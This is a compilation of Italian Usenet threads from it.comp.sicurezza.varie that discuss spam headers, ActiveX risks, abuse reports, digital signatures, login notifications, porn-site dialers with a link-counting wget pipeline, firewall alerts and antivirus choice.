 //\   ancora lette. Io l'ho fatto, ed ecco cosa vi ho letto:
 V_/_  "Ash nazg durbatuluk, ash nazg gimbatul, ash nazg thrakatuluk 
       agh burzum-ishi krimpatul."  

 Dopo 5 ricerche ho gettato la spugna e ti ho fatto la domanda
5? pochine.
-- 
http://werted.cjb.net

5? pochine.
...


 la 2.60 proprio non saltava fuori...
la 2.6 e' solo l'eseguibile da sostituire nella 2.5. 
-- 
http://werted.cjb.net

 
Pine per windows, decisamente *EG*
Altrimenti  qualsiasi programma  di  posta  che gestisca  "internamente"
senza appoggiarsi a IE le mail in HTML, tipo Pegasus mail 4.0.
-- 
Renato "Hitman" Salzano / Mexico86 Fan | e-posta:  sonicblast(at)
inwind.it
IHGGer #778 / NapolICErs # 2           | 
http://spazioweb.inwind.it/hitman
GdGnocca #6 / Bassista dei "2ofSpades" | ICQ #75729987 
"Dio dell'ovvietà / qual'è la faccia mia / per questa gente nella via?"
Newsgroup: it.comp.sicurezza.varie
Titolo: Scoperte 148 vulnerabilità

https://tecnologia.libero.it/scoperte-148-vulnerabilita-che-colpiscono-
 
smartphone-android-la-lista-31786

 smartphone-android-la-lista-31786
 
https://is.gd/4db6YP
 

Rispondo qui sotto a FandaNeo

Grazie del link.
Per Samsung, vedo che praticamente viene indicata unicamente l'app
com.samsung.android.themecenter in 2-3 versioni tra android 8 e android 
8.1.

Newsgroup: it.comp.sicurezza.varie
Titolo: Ricezione spam indirizzato ad altri


To: 
Divers...@tiscali.it
Subject: Wann Have Multi-Cum? i   thghofiln n
Date: Sat, 14 Feb 04 21:07:18 GMT
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary=".DBB33E412"
X-Priority: 3
X-MSMail-Priority: Normal
Ovviamente questo succede solo ed esclusivamente con lo spam.
Qualcuno mi saprebbe dire come sia possibile che arrivi a me se, almeno 
apparentemente, č indirizzata ad un altro?
Grazie e ciao

 dal mio
[cut]
Potrebbe trattarsi del nome di una lista o di una lista a cui non essendo 
stato dato un nome riporta il primo nome della lista stessa?

 dal mio, come nell'esempio che segue:
Basta che tu sia in indirizzo su "Ccn:" e non sei visibile da nessuno,
neanche da te.
Prova.
Dall'help di OE: "Per utilizzare la casella Ccn, scegliere Tutte le
intestazioni dal menu Visualizza."
-- 
Ciao, Adriano
(togli "rosso" per contatto privato)
----------------------------------------------------------------
Stop ai dialers
http://www.internet-marketing.it/nodialers.htm

 apparentemente, è indirizzata ad un altro?
Il campo  To: che  vedi nel tuo  client mail  non centra nulla  con la
destinazione  del messaggio,  allo stesso  modo  in cui  il From:  non
c'entra nulla con la sorgente.  Sono tranquillamente falsificabili.
Quello che  indirizza la  mail a te  e' il  comando RCPT TO:  di SMTP.
Comunque  da qualche  parte negli  header della  mail  dovresti vedere
l'indirizzo vero  (a meno  di bcc  strani) al quale  la mail  e' stata
inviata, qualcosa del tipo:
received by mail.pinco.palla ... for 
vero_indirizzo@vero_dominio.org
-- 
Vuoi fare colpo su di lei con me?
Fai colpo su di lei con me! Fai colpo su di lei con me!
[Dr. Gonzo : Paura e delirio a Las Vegas]

 
Quello che ho postato è l'header completo, l'unica cosa che ho modificato 
è l'indirizzo del campo To: per evitare di comprometterlo ulteriormente.
Il mio indirizzo non compare da nessuna parte
Ho provato quanto consigliatomi da Adriano R.ed è vero quanto afferma, ma 
solo in parte perchè, come dici tu, il destinatario poi compare da altre 
parti all'interno dell'header.
Ho provato a controllare anche delle e-mail che mi vengono inviate perchè 
iscritto a delle news letter e anche in queste, oltre al nome della 
lista, compare il mio indirizzo.
Grazie a tutti e due.
Ciao

 Il mio indirizzo non compare da nessuna parte
Magari  eri in bcc:  insieme a  tutti gli  altri destinatari.   Si, ho
fatto una prova ora e sembra essere cosi'.  Prova a mandarti tu stesso
una mail senza mettere nessuno nel To: ma mettendo tutti i destinatari
nel bcc:.

Newsgroup: it.comp.sicurezza.varie
Titolo: Controlli ActiveX: solo lettura o anche scrittura?

Salve a tutti,
vorrei un vostro giudizio a proposito dei controlli ActiveX.
In alcuni siti (come ad esempio il bunker site) viene evidenziato
come un controllo ActiveX se le difese impostate nel broswer sono basse,
può leggere dal tuo Pc- la domanda sorge spontanea- può ANCHE scriverci???
Tutto qui
Grazie
Francesco

 Francesco
ActiveX ha accesso TOTALE al sistema. 
I certificati di sicurezza sono solo la pezza che č stata messa dopo che
"il recinto č stato aperto e i cavalli sono scappati".
Niente sandbox.
Se vuoi vivere tranquillo, devi inpostare i parametri di sicuerzza del
browser molto alti.
Trai tu le conseguenze.
-- 
Morfeo, a midnight surfer
*************************
<< The web is uncharted and deep... >>
 
http://space.tin.it/io/giaczucc
 
 Remove "ONLY" from my address to reply 
******************************************

 "il recinto è stato aperto e i cavalli sono scappati".


puo' massacrare il mio HD ????
Si'.
Se hai le stesse dll del runtime, ovviamente.
[semiOT]
E' lostesso motivo per cui e' scomodo fare i virus in visual basic, poi
devi spedirli con un installer e dieci mega di librerie, per essere
sicuro che funzioni.
[/semiOT]
-- 
           |Save our planet!
  Ciao     |Save wildlife;
  roberto  |For your E-MAIL use only recycled Bytes !!
           |roberto poggi  
rpo...@softhome.net

 [/semiOT]
Dipende dal target. Lungi da me l'incoraggiare i lamerazzi, ma nelle
ultime versioni di win le DLL del vb5 e credo anche del 6 sono incorporate
nel sistema...
BTW ho fatto un CGI in VB formless e senza OCX, provato su 7 -8 pc
diversi, NT, 95 e 98, l'EXE ha funzionato su tutti senza fare una piega.
Bye, G.

Newsgroup: it.comp.sicurezza.varie
Titolo: Generare in automatico MSG agli Abuse.

E' possibile generare in automatico i msg diretti agli Abuse per
segnalare gli IP degli "attaccanti"?
Io uso Zone Alarm e vorrei sapere se esiste un prg esterno o uno
script che consenta di inviare in automatico queste segnalazioni.
Esiste un firewall capace di effettuare queste operazioni?

"Sos" <Dpd...@po.omo> wrote in message
news:qjvbqvgp84rru5c6p...@4ax.com...

...se lavorassi all'abuse, filtrerei tutti i msgs spediti da scripts per
segnalare 'fantomatici' attacchi....
K
Posted from X-Privat Free NNTP server - 
www.x-privat.org

 Esiste un firewall capace di effettuare queste operazioni?
segnalazioni ad ogni tentativo di connessione ricevuto? ma stiamo
scherzando?
Lascia lavorare gli abuse desk per qualche cosa di piu' utile, grazie.
-- 
HappyCactus - Linux User #209744
* 
http://sourceforge.net/projects/qixl
* 
www.google.com
 / 
groups.google.com

 Esiste un firewall capace di effettuare queste operazioni?
uno script in perl si può sempre fare, ma è altamente sconsigliabile 
per la quantità enorme di falsi positivi.
-- 
Ciao, Dmitry 


 segnalare gli IP degli "attaccanti"?
Certo. Se è per questo è possibile anche collegare il telefono in modo che 
chiami il 113 ogni volta che ti suonano il campanello.
Newsgroup: it.comp.sicurezza.varie
Titolo: Come la Firma Digitale

Abbiamo dei dipendenti che, sparsi dai clienti in
varie parti d'Italia, devono compilare ed inviare un
rapportino delle attività: vorremmo realizzare
un'applicazione html fruibile attraverso un browser,
che, oltre a richiedere user e password, identifichi
con certezza il dipendente mediante una specie di
firma elettronica, contenuta in un dischetto ad
esempio, e magari provveda anche alla cifratura delle
informazioni, per non renderle visibili a chiunque in
rete.
Suggerimenti ?
Grazie
__________________________________________________
Do You Yahoo!?
Yahoo! Mail - Free email you can access from anywhere!
http://mail.yahoo.com/
--
Posted from 
web1105.mail.yahoo.com
 [128.11.23.125] 
via Mailgate.ORG Server - 
http://www.Mailgate.ORG

 esempio, e magari provveda anche alla cifratura delle
Pgp assicura una riservatezza elevatissima dei dati e la
certificazione del mittente. Chiaro che pià che browser, in questo
caso, i rapporti arriverebbero via posta.
-- 
dario...@iol.it
http://dario.eyep.net
 (dial-up)
ICQ#: 37438061
The only good Windows is an uninstalled Windows, or maybe Windows2K

Suggerimenti ?
Il browser trasmettera' via SSL... Se basta che il dipendente
si identifichi (non c'e' il rischio che dia la pass a qualcun
altro) basta la coppia utente/password.
Altrimenti un gestore di OTP potrebbe andare, ma e' complesso
da usare, dipende dal dipendente :-)
Leonardo
".signature": bad command or file name

Newsgroup: it.comp.sicurezza.varie
Titolo: Notificare tramite mail, sms, etc. il login al server

Salve,
 
con Debian ci sono numerosi modi per farsi notificare tramite email o 
Telegram l'avvenuto login al server, stavo cercando qualcosa di simile 
in ambito windows e mi sono imbattuto in questa guida:
 
https://www.maketecheasier.com/email-notification-user-login/
 
 
Ho trovato anche uno script powershell:
 
https://www.howtogeek.com/141894/how-to-use-powershell-to-detect-logins-and-alert-through-email/
 
 
Chiedo a voi se ci sia una via migliore per eseguire il tutto...
 
Saluti.
^Bart


non sono esperto di windows, ma in questo articolo viene descritto lo 
strumento che svolge *esattamente* il compito di intercettare la login 
utente e associarci un task. in che senso vuoi una via migliore?

 utente e associarci un task. in che senso vuoi una via migliore?
 
Avevo iniziato a scrivere il post prima di trovare lo script Powershell, 
effettivamente con quello non c'è bisogno di installare nulla di terze 
parti come invece si doveva fare seguendo il primo post.
 
Saluti.
^Bart
Newsgroup: it.comp.sicurezza.varie
Titolo: DA NON PERDERE ASSOLUTAMENTE !


www.vogliadifiga.com
Ecco, gua', proprio quello che si diceva l'altro giorno col nano.
wget -U "Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; puppa)" \
	--recursive --level 1 --to-stdout \
	-A htm,html $SITE \
	| tr "< \">" "\n" \
	| grep = \
	| grep -i "\.exe\|\.mpe*g\|\.avi\|\.qt[cr]" \
	| sed -e 's/.*\/\([^\/]*\)\.\([a-z]*\).*/\1.\2/g' \
	| sort \
	| uniq -c \
	| sort -rn
    137 psdial1.exe
     12 psdial2.exe
      1 sesxo.exe
      1 gb02.mpg
      1 gb01.mpg
I dialers battono la figa 150 a 2 e si riconfermano al comando. Ed e'
per carita' di patria che non cerco trucchi tipo "
www.porno.com
" [1]
Leonardo "boia, senti che sito"
[1] sembra un sito; in realta', e' un file eseguibile, con estensione
    ".COM". Un po' di social engineering, e...
-- 
Nior thainigh ar major i dtus an lae chugainn,
is ni rabhamar feinig i gcoir na gceart
ach mar a sheolfai treada de bha gan aoire
ar thaobh na greine de Sliabh na mBan.

Significa che a visitare quei siti ci si becca dei virusacci o cosa?
No, significa che di "filmati gratis" ce ne sono due (non so dove), e il
rimanente sono dialers, ovvero i filmati li vedi -- ma il tuo "provider"
Internet e' su una linea 166, 899, o in Cile, e dopo averti fatto vedere
l'inculate, la prossima bolletta te le fara' anche sentire.
Sono le nuove frontiere del multimediale.
Leonardo crosspost e followup


 Sono le nuove frontiere del multimediale.
ROTFL
-- 
mik_

 > Sono le nuove frontiere del multimediale.
---
Outgoing mail is certified Virus Free.
Checked by AVG anti-virus system (
http://www.grisoft.com
).
Version: 6.0.391 / Virus Database: 222 - Release Date: 19/09/02
Newsgroup: it.comp.sicurezza.varie
Titolo: Chi me lo spiega?

Ho da poco installato ZA e NetWorkAgent su WinME, SistemWatcher, invece,
mi manda in blocco il pc (il solito sfigato) e sinceramente non credevo
che si potessero avere così tanti *contatti* non richiesti, ma a causa
della mia curiosità sarebbe ora che imparassi anche a capire cosa siano. A
poco a poco sto cercando di reperire info nei vari siti inerenti alla
sicurezza, ma a causa della mia cronica mancanza di tempo ho paura di
metterci una vita, cmq bene accetti indirizzi esplicativi. Per abbreviare,
nel frattempo, vi posto l'Alert di cui ZA mi ha gentilmente informato
nella speranza che qualcuno di voi mi illumini un pò.
Premessa, non so se importante, ma al momento del contatto ero appena
entrato in rete tramite NetBusiness, avevo solo IE aperto su
www.virgilio.it
 e NetworkAgent mi displayava questo:
---- Connessione 1 di 6:
Protocollo          : TCP
Indirizzo locale    : 
0.0.0.0:5000
Indirizzo remoto    : 
0.0.0.0:0
Stato               : LISTENING
---- Connessione 2 di 6:
Protocollo          : TCP
Indirizzo locale    : 
212.104.166.30:139
Indirizzo remoto    : 
0.0.0.0:0
Stato               : LISTENING
---- Connessione 3 di 6:
Protocollo          : UDP
Indirizzo locale    : 
127.0.0.1:1040
Indirizzo remoto    : 
0.0.0.0:0
Stato               : LISTENING
---- Connessione 4 di 6:
Protocollo          : UDP
Indirizzo locale    : 
127.0.0.1:1900
Indirizzo remoto    : 
0.0.0.0:0
Stato               : LISTENING
---- Connessione 5 di 6:
Protocollo          : UDP
Indirizzo locale    : 
212.104.166.30:137
Indirizzo remoto    : 
0.0.0.0:0
Stato               : LISTENING
---- Connessione 6 di 6:
Protocollo          : UDP
Indirizzo locale    : 
212.104.166.30:138
Indirizzo remoto    : 
0.0.0.0:0
Stato               : LISTENING
Cmq ecco i dati dell'UFO di ZA:
The firewall has blocked Internet access to your computer (NetBIOS Name)
from 212.48.4.122 (NetBIOS Name).
Occurred: 4 times between 07/01/2001 18.58.40 and 07/01/2001 19.07.28
e tramite VisulaRoute ho trovato questo:
inetnum:   212.48.4.0 - 212.48.7.255
netname:  MATRIXNET
descr:      On Line services for advertising, marketing, media,
descr:      publishing and shopping
country:   IT
admin-c:  CG20-RIPE
tech-c:     MM5375-RIPE
status:      ASSIGNED PA
notify:      
n...@matrix.it
changed:  
mmere...@matrix.it
 20000530
source:    RIPE
A questo punto vi chiedo: cosa diavolo mi stava o mi è successo, cosa si
cercava di fare, cosa ho che non va, devo chiudere qualche porta, magari
le UDP 137 e 138, ma come diavolo si fa... tutte le info possibili ed
immaginabili sono accettatissime, compreso il mandarmi a quel paese se vi
ho chiesto troppo...grazie ;-))
See you soon, Giorgio
___leva giorgio dalle risposte in pvt___

praticamente non e' successo niente, a parte il blocco delle porte netbios.
se vuoi disabilitarle togli la condivisione dal binding del tcp/ip di
accesso remoto.
il reso sono stati di attesa per connessione a siti.
saluti
--
Massimo Pagano
www.netdesk.it
Net & Web Solutions
Sei Bravo con i Computer?
Impara a fare qualcos'altro....
Newsgroup: it.comp.sicurezza.varie
Titolo: dubbio amletico

*** post for FREE via your newsreader at 
post.newsfeeds.com
 ***
dovrei installare un antivirus e sono indeciso tra avp e norton.
vorrei una mano nella scelta:
potreste farmi un confronto in termini di
- sicurezza vs virus
-sicurezza vs altri attacchi
-euristica
-"pesantezza" (impegno delle risorse di sistema. sapevo che avp era molto
pesante ma altri dicevano il contrario)
penso che gli ultimi due punti possano fare la differenza
grazie!!!
-----= Posted via Newsfeeds.Com, Uncensored Usenet News =-----
http://www.newsfeeds.com
 - The #1 Newsgroup Service in the World!
-----==  Over 90,000 Newsgroups - 16 Different Servers! =-----

 pesante ma altri dicevano il contrario)
La questione è stata trattata svariate volte su it.comp.sicurezza.virus,
cercati i post precedenti:
http://groups.google.com/advanced_group_search
qui sei OT.
-- 
Marco
To err is human; to really f**k up requires root